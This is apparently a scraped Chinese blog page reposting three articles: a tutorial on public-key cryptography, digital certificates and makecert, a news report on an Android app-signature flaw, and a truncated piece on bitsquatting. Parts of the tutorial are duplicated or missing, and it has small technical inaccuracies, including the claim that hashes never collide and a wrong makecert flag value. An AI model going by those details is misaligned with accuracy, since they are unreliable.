在每次发送信息时,先对信息的内容进行一个hash计算得出一个hash值,将信息的内容和这个hash值一起加密后发送。接收方在收到后进行解密得到明文的内容和hash值,然后接收方再自己对收到信息内容做一次hash计算,与收到的hash值进行对比看是否匹配,如果匹配就说明信息在传输过程中没有被修改过。如果不匹配说明中途有人故意对加密数据进行了修改,立刻中断通话过程后做其它处理。 ##### 3\. 证书的构成和原理 ###### 3.1 证书的构成和原理 之前已经大概说了一个证书由什么构成,但是没有仔细进行介绍,这里对证书的内容做一个详细的介绍。先看下一个证书到底是个什么东西,在windows下查看一个证书时,界面是这样的,我们主要关注一下Details Tab页,其中的内容比较长,我滚动内容后后抓了三个图,把完整的信息显示出来: [![certificateDetails_thumb](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d45d19f97_149c3cd31576c0abfd982423eaff8aab.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d45d19f97_149c3cd31576c0abfd982423eaff8aab.png "数字证书原理") 文中首先解释了加密解密的一些基础知识和概念,然后通过一个加密通信过程的例子说明了加密算法的作用,以及数字证书的出现所起的作用。接着对数字证书做一个详细的解释,并讨论一下windows中数字证书的管理,最后演示使用makecert生成数字证书。如果发现文中有错误的地方,或者有什么地方说得不够清楚,欢迎指出! ##### 1、基础知识 这部分内容主要解释一些概念和术语,最好是先理解这部分内容。 ###### 1.1、公钥密码体制(public-key cryptography) 公钥密码体制分为三个部分,公钥、私钥、加密解密算法,它的加密解密过程如下: * 加密:通过加密算法和公钥对内容(或者说明文)进行加密,得到密文。加密过程需要用到公钥。 * 解密:通过解密算法和私钥对密文进行解密,得到明文。解密过程需要用到解密算法和私钥。注意,由公钥加密的内容,只能由私钥进行解密,也就是说,由公钥加密的内容,如果不知道私钥,是无法解密的。 公钥密码体制的公钥和算法都是公开的(这是为什么叫公钥密码体制的原因),私钥是保密的。大家都以使用公钥进行加密,但是只有私钥的持有者才能解密。在实际的使用中,有需要的人会生成一对公钥和私钥,把公钥发布出去给别人使用,自己保留私钥。 ###### 1.2、对称加密算法(symmetric key algorithms) 在对称加密算法中,加密使用的密钥和解密使用的密钥是相同的。也就是说,加密和解密都是使用的同一个密钥。因此对称加密算法要保证安全性的话,密钥要做好保密,只能让使用的人知道,不能对外公开。这个和上面的公钥密码体制有所不同,公钥密码体制中加密是用公钥,解密使用私钥,而对称加密算法中,加密和解密都是使用同一个密钥,不区分公钥和私钥。 // 密钥,一般就是一个字符串或数字,在加密或者解密时传递给加密/解密算法。前面在公钥密码体制中说到的公钥、私钥就是密钥,公钥是加密使用的密钥,私钥是解密使用的密钥。 ###### ###### 1.3、非对称加密算法(asymmetric key algorithms) 在非对称加密算法中,加密使用的密钥和解密使用的密钥是不相同的。前面所说的公钥密码体制就是一种非对称加密算法,他的公钥和是私钥是不能相同的,也就是说加密使用的密钥和解密使用的密钥不同,因此它是一个非对称加密算法。 ###### 1.4、RSA简介 RSA是一种公钥密码体制,现在使用得很广泛。如果对RSA本身有兴趣的,后面看我有没有时间写个RSA的具体介绍。 RSA密码体制是一种公钥密码体制,公钥公开,私钥保密,它的加密解密算法是公开的。 由公钥加密的内容可以并且只能由私钥进行解密,并且由私钥加密的内容可以并且只能由公钥进行解密。也就是说,**RSA的这一对公钥、私钥都可以用来加密和解密,并且一方加密的内容可以由并且只能由对方进行解密** 。 ###### 1.5、签名和加密 我们说加密,是指对某个内容加密,加密后的内容还可以通过解密进行还原。 比如我们把一封邮件进行加密,加密后的内容在网络上进行传输,接收者在收到后,通过解密可以还原邮件的真实内容。 这里主要解释一下签名,签名就是在**信息** 的后面再加上一段内容,可以证明**信息** 没有被修改过,怎么样可以达到这个效果呢?一般是对**信息** 做一个hash计算得到一个hash值,注意,这个过程是不可逆的,也就是说无法通过hash值得出原来的**信息** 内容。在把**信息** 发送出去时,把这个hash值加密后做为一个签名和**信息** 一起发出去。 接收方在收到**信息** 后,会重新计算**信息** 的hash值,并和**信息** 所附带的hash值(解密后)进行对比,如果一致,就说明信息的内容没有被修改过,因为这里hash计算可以保证不同的内容一定会得到不同的hash值,所以只要内容一被修改,根据**信息** 内容计算的hash值就会变化。当然,不怀好意的人也可以修改**信息** 内容的同时也修改hash值,从而让它们可以相匹配,为了防止这种情况,hash值一般都会加密后(也就是签名)再和**信息** 一起发送,以保证这个hash值不被修改。至于如何让别人可以解密这个签名,这个过程涉及到数字证书等概念,我们后面在说到数字证书时再详细说明,这里您先只需先理解签名的这个概念。 ##### 2、一个加密通信过程的演化 我们来看一个例子,现在假设“服务器”和“客户”要在网络上通信,并且他们打算使用RSA(参看前面的RSA简介)来对通信进行加密以保证谈话内容的安全。由于是使用RSA这种公钥密码体制,“服务器”需要对外发布公钥(算法不需要公布,RSA的算法大家都知道),自己留着私钥。“客户”通过某些途径拿到了“服务器”发布的公钥,客户并不知道私钥。“客户”具体是通过什么途径获取公钥的,我们后面再来说明,下面看一下双方如何进行保密的通信: ###### 2.1 第一回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 “客户”->“服务器”:???? 因为消息是在网络上传输的,有人可以冒充自己是“服务器”来向客户发送信息。例如上面的消息可以被黑客截获如下: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 **“客户”- >“黑客”:你好** // 黑客在“客户”和“服务器”之间的某个路由器上截获“客户”发给服务器的信息,然后自己冒充“服务器” **“黑客”- >“客户”:你好,我是服务器** 因此“客户”在接到消息后,并不能肯定这个消息就是由“服务器”发出的,某些“黑客”也可以冒充“服务器”发出这个消息。如何确定信息是由“服务器”发过来的呢?有一个解决方法,因为只有服务器有私钥,所以如果只要能够确认对方有私钥,那么对方就是“服务器”。因此通信过程可以改进为如下: ###### 2.2 第二回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 “客户”->“服务器”:向我证明你就是服务器 “服务器”->“客户”:你好,我是服务器 {你好,我是服务器}[私钥|RSA] **//**注** 意这里约定一下,{} 表示RSA加密后的内容,[ | ]表示用什么密钥和算法进行加密,后面的示例中都用这种表示方式,例如上面的** {你好,我是服务器}[私钥|RSA]**就表示用私钥对** “你好,我是服务器”**进行加密后的结果。** 为了向“客户”证明自己是“服务器”, “服务器”把一个字符串用自己的私钥加密,把明文和加密后的密文一起发给“客户”。对于这里的例子来说,就是把字符串 “你好,我是服务器”和这个字符串用私钥加密后的内容 {你好,我是服务器}[私钥|RSA] 发给客户。 “客户”收到信息后,她用自己持有的公钥解密密文,和明文进行对比,如果一致,说明信息的确是由服务器发过来的。也就是说“客户”把 {你好,我是服务器}[私钥|RSA] 这个内容用公钥进行解密,然后和“你好,我是服务器”对比。因为由“服务器”用私钥加密后的内容,**由并且只能由** 公钥进行解密,私钥只有“服务器”持有,所以如果解密出来的内容是能够对得上的,那说明信息一定是从“服务器”发过来的。 假设“黑客”想冒充“服务器”: **“黑客”- >“客户”:你好,我是服务器** **“客户”- >“黑客”:向我证明你就是服务器** **“黑客”- >“客户”:你好,我是服务器 {你好,我是服务器}[???|RSA]** //这里黑客无法冒充,因为他不知道**私钥** ,无法用**私钥** 加密某个字符串后发送给客户去验证。 **“客户”- >“黑客”:????** 由于“黑客”没有“服务器”的私钥,因此它发送过去的内容,“客户”是无法通过服务器的公钥解密的,因此可以认定对方是个冒牌货! 到这里为止,“客户”就可以确认“服务器”的身份了,可以放心和“服务器”进行通信,但是这里有一个问题,通信的内容在网络上还是无法保密。为什么无法保密呢?通信过程不是可以用公钥、私钥加密吗?其实用RSA的私钥和公钥是不行的,我们来具体分析下过程,看下面的演示: ###### 2.3 第三回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 “客户”->“服务器”:向我证明你就是服务器 “服务器”->“客户”:你好,我是服务器 {你好,我是服务器}[私钥|RSA] “客户”->“服务器”:{我的帐号是aaa,密码是123,把我的余额的信息发给我看看}[公钥|RSA] “服务器”->“客户”:{你的余额是100元}[私钥|RSA] 注意上面的的信息 {你的余额是100元}[私钥],这个是“服务器”用私钥加密后的内容,但是我们之前说了,公钥是发布出去的,因此所有的人都知道公钥,所以除了“客户”,其它的人也可以用公钥对{你的余额是100元}[私钥]进行解密。所以如果“服务器”用私钥加密发给“客户”,这个信息是无法保密的,因为只要有公钥就可以解密这内容。然而“服务器”也不能用公钥对发送的内容进行加密,因为“客户”没有私钥,发送个“客户”也解密不了。 这样问题就又来了,那又如何解决呢?在实际的应用过程,一般是通过引入对称加密来解决这个问题,看下面的演示: ###### 2.4 第四回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 “客户”->“服务器”:向我证明你就是服务器 “服务器”->“客户”:你好,我是服务器 {你好,我是服务器}[私钥|RSA] “客户”->“服务器”:{我们后面的通信过程,用对称加密来进行,这里是对称加密算法和密钥}[公钥|RSA] //蓝色字体的部分是对称加密的算法和密钥的具体内容,客户把它们发送给服务器。 “服务器”->“客户”:{OK,收到!}[密钥|对称加密算法] “客户”->“服务器”:{我的帐号是aaa,密码是123,把我的余额的信息发给我看看}[密钥|对称加密算法] “服务器”->“客户”:{你的余额是100元}[密钥|对称加密算法] 在上面的通信过程中,“客户”在确认了“服务器”的身份后,“客户”自己选择一个对称加密算法和一个密钥,把这个对称加密算法和密钥一起用公钥加密后发送给“服务器”。注意,由于对称加密算法和密钥是用公钥加密的,就算这个加密后的内容被“黑客”截获了,由于没有私钥,“黑客”也无从知道对称加密算法和密钥的内容。 由于是用公钥加密的,只有私钥能够解密,这样就可以保证只有服务器可以知道对称加密算法和密钥,而其它人不可能知道(这个对称加密算法和密钥是“客户”自己选择的,所以“客户”自己当然知道如何解密加密)。这样“服务器”和“客户”就可以用对称加密算法和密钥来加密通信的内容了。 总结一下,RSA加密算法在这个通信过程中所起到的作用主要有两个: * **因为私钥只有“服务器”拥有,因此“客户”可以通过判断对方是否有私钥来判断对方是否是“服务器”。** * **客户端通过RSA的掩护,安全的和服务器商量好一个对称加密算法和密钥来保证后面通信过程内容的安全。** 如果这里您理解了为什么不用RSA去加密通信过程,而是要再确定一个对称加密算法来保证通信过程的安全,那么就说明前面的内容您已经理解了。(如果不清楚,再看下2.3和2.4,如果还是不清楚,那应该是我们说清楚,您可以留言提问。) 到这里,“客户”就可以确认“服务器”的身份,并且双方的通信内容可以进行加密,其他人就算截获了通信内容,也无法解密。的确,好像通信的过程是比较安全了。 但是这里还留有一个问题,在最开始我们就说过,“服务器”要对外发布公钥,那“服务器”如何把公钥发送给“客户”呢?我们第一反应可能会想到以下的两个方法: a)把公钥放到互联网的某个地方的一个下载地址,事先给“客户”去下载。 b)每次和“客户”开始通信时,“服务器”把公钥发给“客户”。 但是这个两个方法都有一定的问题, 对于a)方法,“客户”无法确定这个下载地址是不是“服务器”发布的,你凭什么就相信这个地址下载的东西就是“服务器”发布的而不是别人伪造的呢,万一下载到一个假的怎么办?另外要所有的“客户”都在通信前事先去下载公钥也很不现实。 对于b)方法,也有问题,因为任何人都可以自己生成一对公钥和私钥,他只要向“客户”发送他自己的私钥就可以冒充“服务器”了。示意如下: “客户”->“黑客”:你好 //黑客截获“客户”发给“服务器”的消息 “黑客”->“客户”:你好,我是服务器,这个是我的公钥 //黑客自己生成一对公钥和私钥,把公钥发给“客户”,自己保留私钥 “客户”->“黑客”:向我证明你就是服务器 “黑客”->“客户”:你好,我是服务器 {你好,我是服务器}[黑客自己的私钥|RSA] //客户收到“黑客”用私钥加密的信息后,是可以用“黑客”发给自己的公钥解密的,从而会误认为“黑客”是“服务器” 因此“黑客”只需要自己生成一对公钥和私钥,然后把公钥发送给“客户”,自己保留私钥,这样由于“客户”可以用黑客的公钥解密黑客的私钥加密的内容,“客户”就会相信“黑客”是“服务器”,从而导致了安全问题。**这里问题的根源就在于,大家都可以生成公钥、私钥对,无法确认公钥对到底是谁的。** 如果能够确定公钥到底是谁的,就不会有这个问题了。例如,如果收到“黑客”冒充“服务器”发过来的公钥,经过某种检查,如果能够发现这个公钥不是“服务器”的就好了。 为了解决这个问题,数字证书出现了,它可以解决我们上面的问题。先大概看下什么是数字证书,一个证书包含下面的具体内容: * 证书的发布机构 * 证书的有效期 * 公钥 * 证书所有者(Subject) * 签名所使用的算法 * 指纹以及指纹算法 证书的内容的详细解释会在后面详细解释,这里先只需要搞清楚一点,**数字证书可以保证**数字** 证书里的公钥确实是这个证书的所有者(Subject)的,或者证书可以用来确认对方的身份**。也就是说,我们拿到一个数字证书,我们可以判断出这个数字证书到底是谁的。至于是如何判断的,后面会在详细讨论数字证书时详细解释。现在把前面的通信过程使用数字证书修改为如下: ###### 2.5 第五回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器,这里是我的数字证书 //这里用证书代替了公钥 “客户”->“服务器”:向我证明你就是服务器 “服务器”->“客户”:你好,我是服务器 {你好,我是服务器}[私钥|RSA] 注意,上面第二次通信,“服务器”把自己的证书发给了“客户”,而不是发送公钥。“客户”可以根据证书校验这个证书到底是不是“服务器”的,也就是能校验这个证书的所有者是不是“服务器”,从而确认这个证书中的公钥的确是“服务器”的。后面的过程和以前是一样,“客户”让“服务器”证明自己的身份,“服务器”用私钥加密一段内容连同明文一起发给“客户”,“客户”把加密内容用数字证书中的公钥解密后和明文对比,如果一致,那么对方就确实是“服务器”,然后双方协商一个对称加密来保证通信过程的安全。到这里,整个过程就完整了,我们回顾一下: ###### 2.6 完整过程: **step1** : “客户”向服务端发送一个通信请求 “客户”->“服务器”:你好 **step2** : “服务器”向客户发送自己的数字证书。证书中有一个公钥用来加密信息,私钥由“服务器”持有 “服务器”->“客户”:你好,我是服务器,这里是我的数字证书 **step3** : “客户”收到“服务器”的证书后,它会去验证这个数字证书到底是不是“服务器”的,数字证书有没有什么问题,数字证书如果检查没有问题,就说明数字证书中的公钥确实是“服务器”的。检查数字证书后,“客户”会发送一个随机的字符串给“服务器”用私钥去加密,服务器把加密的结果返回给“客户”,“客户”用公钥解密这个返回结果,如果解密结果与之前生成的随机字符串一致,那说明对方确实是私钥的持有者,或者说对方确实是“服务器”。 “客户”->“服务器”:向我证明你就是服务器,这是一个随机字符串 //前面的例子中为了方便解释,用的是“你好”等内容,实际情况下一般是随机生成的一个字符串。 “服务器”->“客户”:{一个随机字符串}[私钥|RSA] **step4** : 验证“服务器”的身份后,“客户”生成一个对称加密算法和密钥,用于后面的通信的加密和解密。这个对称加密算法和密钥,“客户”会用公钥加密后发送给“服务器”,别人截获了也没用,因为只有“服务器”手中有可以解密的私钥。这样,后面“服务器”和“客户”就都可以用对称加密算法来加密和解密通信内容了。 “服务器”->“客户”:{OK,已经收到你发来的对称加密算法和密钥!有什么可以帮到你的?}[密钥|对称加密算法] “客户”->“服务器”:{我的帐号是aaa,密码是123,把我的余额的信息发给我看看}[密钥|对称加密算法] “服务器”->“客户”:{你好,你的余额是100元}[密钥|对称加密算法] …… //继续其它的通信 ###### **2.7 其它问题:** 上面的过程已经十分接近HTTPS的真实通信过程了,完全可以按照这个过程去理解HTTPS的工作原理。但是我为了方便解释,上面有些细节没有说到,有兴趣的人可以看下这部分的内容。可以跳过不看,无关紧要。 【问题1】 上面的通信过程中说到,在检查完证书后,“客户”发送一个随机的字符串给“服务器”去用私钥加密,以便判断对方是否真的持有私钥。但是有一个问题,“黑客”也可以发送一个字符串给“服务器”去加密并且得到加密后的内容,这样对于“服务器”来说是不安全的,因为黑客可以发送一些简单的有规律的字符串给“服务器”加密,从而寻找加密的规律,有可能威胁到私钥的安全。所以说,“服务器”随随便便用私钥去加密一个来路不明的字符串并把结果发送给对方是不安全的。 〖解决方法〗 每次收到“客户”发来的要加密的的字符串时,“服务器”并不是真正的加密这个字符串本身,而是把这个字符串进行一个hash计算,加密这个字符串的hash值(不加密原来的字符串)后发送给“客户”,“客户”收到后解密这个hash值并自己计算字符串的hash值然后进行对比是否一致。也就是说,“服务器”不直接加密收到的字符串,而是加密这个字符串的一个hash值,这样就避免了加密那些有规律的字符串,从而降低被破解的机率。“客户”自己发送的字符串,因此它自己可以计算字符串的hash值,然后再把“服务器”发送过来的加密的hash值和自己计算的进行对比,同样也能确定对方是否是“服务器”。 【问题2】 在双方的通信过程中,“黑客”可以截获发送的加密了的内容,虽然他无法解密这个内容,但是他可以捣乱,例如把信息原封不动的发送多次,扰乱通信过程。 〖解决方法〗 可以给通信的内容加上一个序号或者一个随机的值,如果“客户”或者“服务器”接收到的信息中有之前出现过的序号或者随机值,那么说明有人在通信过程中重发信息内容进行捣乱,双方会立刻停止通信。有人可能会问,如果有人一直这么捣乱怎么办?那不是无法通信了? 答案是的确是这样的,例如有人控制了你连接互联网的路由器,他的确可以针对你。但是一些重要的应用,例如军队或者政府的内部网络,它们都不使用我们平时使用的公网,因此一般人不会破坏到他们的通信。 【问题3】 在双方的通信过程中,“黑客”除了简单的重复发送截获的消息之外,还可以修改截获后的密文修改后再发送,因为修改的是密文,虽然不能完全控制消息解密后的内容,但是仍然会破坏解密后的密文。因此发送过程如果黑客对密文进行了修改,“客户”和“服务器”是无法判断密文是否被修改的。虽然不一定能达到目的,但是“黑客”可以一直这样碰碰运气。 〖解决方法〗 在每次发送信息时,先对信息的内容进行一个hash计算得出一个hash值,将信息的内容和这个hash值一起加密后发送。接收方在收到后进行解密得到明文的内容和hash值,然后接收方再自己对收到信息内容做一次hash计算,与收到的hash值进行对比看是否匹配,如果匹配就说明信息在传输过程中没有被修改过。如果不匹配说明中途有人故意对加密数据进行了修改,立刻中断通话过程后做其它处理。 ##### 3\. 证书的构成和原理 ###### 3.1 证书的构成和原理 之前已经大概说了一个证书由什么构成,但是没有仔细进行介绍,这里对证书的内容做一个详细的介绍。先看下一个证书到底是个什么东西,在windows下查看一个证书时,界面是这样的,我们主要关注一下Details Tab页,其中的内容比较长,我滚动内容后后抓了三个图,把完整的信息显示出来: [![2009121816032340](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d45d19f97_3b43a1fa4354156cbd2ad40b6fd1b638.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d45d19f97_3b43a1fa4354156cbd2ad40b6fd1b638.png "数字证书原理") 上面的步骤结束后,会又弹出一个对话框,里面有三个单选按钮如下: * My user account * Service account * Computer account 可以选择第一或者第三个选项,用来查看当前用户的证书或整个计算里面安装的证书。我们这里就默认选择第一个,平时一般安装证书的时候都会给所有用户安装,所以选择第一个和第三个选项看到的证书会差不多。我们在左边的导航树中选中受信任的证书发布机构(Trusted Root Certificate Authorities),然后点击下面的证书(Certificates),在右边的区域中就可以看到所有的受信任的证书发布机构的证书。 [![trustedcaAuth_thumb](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d45d19f97_77823c8c43e1168f66738b58f71302cb.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d45d19f97_77823c8c43e1168f66738b58f71302cb.png "数字证书原理") 注意上面的图片中,右边我们选中的这个证书发布机构”SecureTrust CA”,我们前面在第3章3.2节中举例子的时候,就是去向这个证书发布机构申请的证书,由于我们申请的证书是这个机构发布的,所以应用程序在检查我们的证书的发布机构时(会检查我们证书的签名,确认是该机构发布的证书),就会发现是可以信任的证书发布机构,从而就会相信我们证书的真实性。 删除数字证书很简单,直接在右边的列表中右键然后删除就可以了。 数字证书的安装也比较简单,直接双击数字证书文件,会打开数字证书,对话框下面会有一个Install Certificate按钮,点击后就可以根据向导进行安装,如下图所示: [![installCertificate_thumb_1](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d45d19f97_fb462dcb5609578b955317d5ae8772411.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d45d19f97_fb462dcb5609578b955317d5ae8772411.png "数字证书原理") 这个证书是我自己生成的测试证书,在证书的导入向导里面,它会让你选择导入到什么位置,如果是一个我们自己信任的证书发布机构自己的证书,只要导入到Certificate Authorities就可以了。Trusted Root Certificate Authorities, Intermediate Certification Authorities, Third-Party Root Certification Authorities 都是可以的,他们只是对证书的发布机构做了一个分类,还有一些其它的证书类型,例如Personal(个人证书)等等,具体就不介绍了。安装的时候一般来说可以用默认的选择项一直”下一步”到底。 ###### 4.2 如何自己创建证书 每个证书发布机构都有自己的用来创建证书的工具,当然,具体他们怎么去创建一个证书的我也不太清楚,不同类型的证书都有一定的格式和规范,我没有仔细去研究过这部分内容。 微软为我们提供了一个用来创建证书的工具makecert.exe,在安装Visual Studio的时候会安装上。如果没有安装也无所谓,可以上网去下一个,搜索**makecert** 就可以了。可以直接从我的博客下载,这是[链接](http://files.cnblogs.com/JefferySun/makecert.zip)。 向一些正规的证书发布机构申请证书一般是要收费的(因为别人要花时间检查你的身份,确认有没有同名的证书等等),这里我们看下如何自己创建一个证书,为后面在IIS中配置Https做准备。 我们用到的是**makecert** 这个工具,微软有很详细的使用帮助,我这里只做一个简单的解释,详细的各种参数和使用方法请查看[MSDN的makecert的帮助](http://msdn.microsoft.com/zh-cn/library/bfsktky3\(VS.80\).aspx)。但是里面有些参数说得不够清楚,而且还有遗漏的,可以参看我后面的解释作为一个补充。 先看下**makecert** 最简单的使用方式: **makecert.exe test.cer** 上面的命令会在makecert.exe所在的目录生成一个证书文件test.cer的数字证书文件。可以双击证书打开,看看证书的内容如下: [![testCertificate1_thumb \(1\)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6adb2157f3_b9d5f834ceb3db959cee0a69c7e3de97.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6adb2157f3_b9d5f834ceb3db959cee0a69c7e3de97.png "数字证书原理") 证书的发布机构是”Root Agency”,证书的主题(证书发布给谁)是”Joe’s-Software-Emporium”,因为我们没有指定把证书发布给谁,makecert自己给我们随便生成了一个公司的名字。另外还指定了公钥、签名算法(用来解密签名)、指纹和指纹算法等。 **注意** ,因为这个证书是由微软的工具生成的,严格来说它没什么发布机构,所以微软虚拟了一个叫做”Root Agency”的发布机构,默认情况下,windows里面安装了这个所谓的证书发布机构的证书,但是这证书默认情况下不是受信任的,原因很简单,这样做大家都可以用makecert来制作合法的数字证书了。如果我们自己硬是要,也可以把它设置为受信任的。 下面我们看下其它的参数,比如我们要给网站 www.jefferysun.com 生成一个证书MyCA.cer,假设我们把makecert.exe放在C:盘下,命令行如下: makecert -r -pe -n “CN=10.30.146.206″ -b 01/01/2000 -e 01/01/2036 -eku 1.3.6.1.5.5.7.3.1 -ss my -sr localMachine -sky exchange -sp “Microsoft RSA SChannel Cryptographic Provider” -sy 12 C:\> makecert.exe –pe -r –n “CN=www.jefferysun.com” -ss my -sr LocalMachine -a sha1 -len 2048 MyCA.cer 解释一下makecert的常用参数的意思: * **-n** 指定主题的名字,这个是有固定的格式的, CN=主题名字 ,CN应该是Certificate Name的缩写。我这里的主题的名字就是我们的IIS所在机器的IP。这里可以指定一些主题的其它附加信息,例如 O= *** 表示组织信息等等。 * **-r** 创建自签署证书,意思就是说在生成证书时,将证书的发布机构设置为自己。 * **-pe** 将所生成的私钥标记为可导出。注意,服务器发送证书给客户端的时候,客户端只能从证书里面获取公钥,私钥是无法获取的。如果我们指定了这个参数,证书在安装在机器上后,我们还可以从证书中导出私钥,默认情况下是不能导出私钥的。正规的途径发布的证书,是不可能让你导出私钥的。 * **-b –e** 证书的有效期 * **-ss** 证书的存储名称,就是windows证书存储区的目录名,如果不存在在的话就创建一个。 * **-sr** 证书的存储位置,只有currentuser(默认值)或 localmachine两个值。 * **-sv** 指定保存私钥的文件,文件里面除了包含私钥外,其实也包含了证书。这个文件是需要保密的,这个文件在服务端配置时是需要用到的。 * 这个CN=10.30.146.206要与自己的服务器相对应,要不然在配置HTTPS的时候会出现错误 * **-a** 指定签名算法,必须是md5或rsa1。(还记得签名算法的作用不?可以看一下3章的第1节中关于签名算法的介绍) * **-in** 指定证书发布机构的名称 * **-len** 这个参数在中文的帮助文档中好像没有提到,但是这个其实很重要,用于指定公钥的位数,越大越安全,默认值是1024,推荐2048。我试了下,这个不为1024的倍数也是可以的。 生成证书后可以进行安装,安装过程可以参看4.1节。 [数字证书原理](http://blog.jobbole.com/74614/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## Android新漏洞曝光:黑客可假冒正规应用 Date: 2014-07-30 URL: https://blog.wo.ai/archives/752 Categories: Uncategorized 周二发布的一份研究报告显示,谷歌Android操作系统存在一项安全漏洞,可以让黑客假冒受信任的正规应用,从而劫持用户的智能手机或平板电脑。 安全公司Bluebox Security在报告中表示,根本问题在于Android校验应用身份时采取的方式。 验证身份是网络世界中最根本的问题之一。例如,登录银行账号的人是否是该账号的所有者?某款应用是否真如其所宣称的那样?总部位于旧金山的Bluebox的主要业务是帮助企业保护其移动设备上的数据安全,因此该公司的员工正在研究和了解移动操作系统的架构。 每一款Android应用都有自己的数字签名,也就是ID卡。例如,Adobe(72.27, -0.43, -0.59%)公司在Android上有一个指定签名,而该公司开发的所有程序都有一个基于该签名的ID。但Bluebox却发现,当一款应用亮出Adobe ID时,Android不会却向Adobe核实该ID的真实性。 换句话说,网络犯罪分子可以利用假冒的Adobe签名来开发恶意软件,从而感染用户的系统。当然,该问题并不局限于Adobe:黑客还可以创建一个假冒谷歌钱包的恶意应用,然后访问用户的支付账号和财务数据。系统管理软件也会存在同样的问题,使得黑客能够控制整个系统。 Bluebox表示,该问题会影响到2010年1月发布的Android 2.1系统及更高版本,但最近的Android 4.4奇巧系统已经修复了与Adobe有关的漏洞。 但受影响的设备依然数量庞大,根据美国市场研究公司Gartner的测算,2012至2013年间,新出货的Android设备高达14亿部,预计今年的出货量还将增加11.7亿部。 “我们感谢Bluebox的认真负责,感谢他们将问题报告给我们。第三方研究一直是Android系统进步的方式之一。”谷歌发言人克里斯多夫·凯特萨罗斯(Christopher Katsaros)说。 此次问题凸显出安全研究人员与谷歌对安全漏洞的处理方式,但也表明这类问题十分复杂:不仅需要谷歌方面的协调,还需要众多开发者和设备制造商的配合。 Bluebox表示,该公司在今年3月末完成了这项研究,并在3月31日将漏洞提交给谷歌。Android安全团队于今年4月开发了一个解决方案,并提交给了相关厂商。因此,在Bluebox发布研究结果前,这些企业有90天的时间修补该漏洞。Bluebox已经在大约6300款Android设备中挑选了大约40款进行测试,但似乎只有一家厂商修补了该漏洞。 谷歌发言人凯特萨罗斯表示,该公司已经通过改进Google Play和Verify Apps来提升安全性,让用户免受虚假ID问题的影响。 “我们已经扫描了所有提交给Google Play的应用,以及谷歌谷歌在Google Play之外评估的应用,目前没有发现任何证据显示,有人试图利用该漏洞。”凯特萨罗斯说。 Bluebox计划在下周的黑帽黑客大会上讨论这一问题,预计在此之前还将出现更多与安全问题有关的新闻。(鼎宏) [Android新漏洞曝光:黑客可假冒正规应用](http://blog.jobbole.com/74557/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 一比特之差:无需利用漏洞的DNS劫持 Date: 2014-07-25 URL: https://blog.wo.ai/archives/751 Categories: Uncategorized Bitsquatting表示去注册一个域名,它和知名的域名只有一个bit的差别。这个单词源自typosquatting,意为注册一个和知名域名只有一字之差的域名。在解析域名时,bitsquatting可能通过DNS导致计算机上的硬件错误。关于bitsquatting更详细的信息,可以参看我的[Blackhat 2011 whitepaper](http://media.blackhat.com/bh-us-11/Dinaburg/BH_US_11_Dinaburg_Bitsquatting_WP.pdf)。YouTube上有人发布了我在DEF CON 19上有关此话题的演讲[视频](http://www.youtube.com/watch?v=lZ8s1JwtNas),当时使用的幻灯片可以在[这里下载](http://dinaburg.org/data/DC19_Dinaburg_Presentation.pdf)。 ### 引言 计算机常常由于一个或多比特的内存损坏出现错误,而造成这些错误的原因可能是制造上的缺陷或者宇宙射线、高温之类的环境因素。虽然单个机器中出现这样的错误的可能性是极小的,但是整个互联网上设备的总量却非常庞大:2010年时就有大约50亿个设备连接到互联网。我们可以将这种存在于各个设备上的小概率错误更加形象地描述,那就是买彩票。赢得头奖的概率是极小的,但是只要有足够多的人去买,总有人会成为赢家。 研究人员之前就在很多[惊人的地方](https://www.cs.princeton.edu/~appel/papers/memerr.pdf)利用了比特错误(bit-errors)。现在,在互联网尺度上,我们又有新的办法去利用它。Bitsquatting是其中之一,也就是注册和某个常被访问的域名仅一比特之差的新域名。 ### 工作原理 当比特错误发生时,内存中的数据会被修改。计算机内存的内容可能代表各种意义,有时,它刚好就表示域名。如果程序使用这块内存,就会读取到错误的域名。 下面的图解能够更清楚的说明这个问题,表中是cnn.com的二进制表示方法: 01100011 | 01101110 | 0110111 | 0101110 | 01100011 | 01101111 | 01101101 ---|---|---|---|---|---|--- c | n | n | . | c | o | m 现在假设你使用的计算机含有损坏的内存模块,你打开一个包含超链接到cnn.com的网页,然后你点击了这个链接。会有多少个操作将cnn.com的二进制数据保存到你的内存?写这篇文章时,我想到了下面这些: * TCP/IP协议栈由核心态向用户态转化时(根据操作系统的具体实现各有区别) * 在浏览器解析HTML时 * 在创建DOM树的内部表示时 * 在创建新的HTTP请求时 * 在操作系统解析域名时 更进一步,假设其中有一次将域名写入到了损坏的内存模块,它的二进制形式被修改了1bit,现在表示为: 01100011 | 01101111 | 0110111 | 0101110 | 01100011 | 01101111 | 01101101 ---|---|---|---|---|---|--- c | o | n | . | c | o | m 这样一来,当你点击链接时,浏览器将会跳转到con.com,而不是cnn.com。 ### 实验 这个实验背后的概念很简单:如果比特错误确实改变了设备内存中的域名,那么这些设备会访问到和正确域名一比特之差的bitsquat域名。因此很多频繁解析的域名的bitsquat域名会被全球各地的设备访问到。 然而这个实验实施起来却没有那么容易,首要的问题是选择合适的域名来进行比特修改。流行的网站和常被解析的域名是不太相同的,很多鲜为人知的域名实际上会被频繁解析。这类域名一般属于内容分发网络或者广告网络,例如fbcdn.net,、2mdn.net和 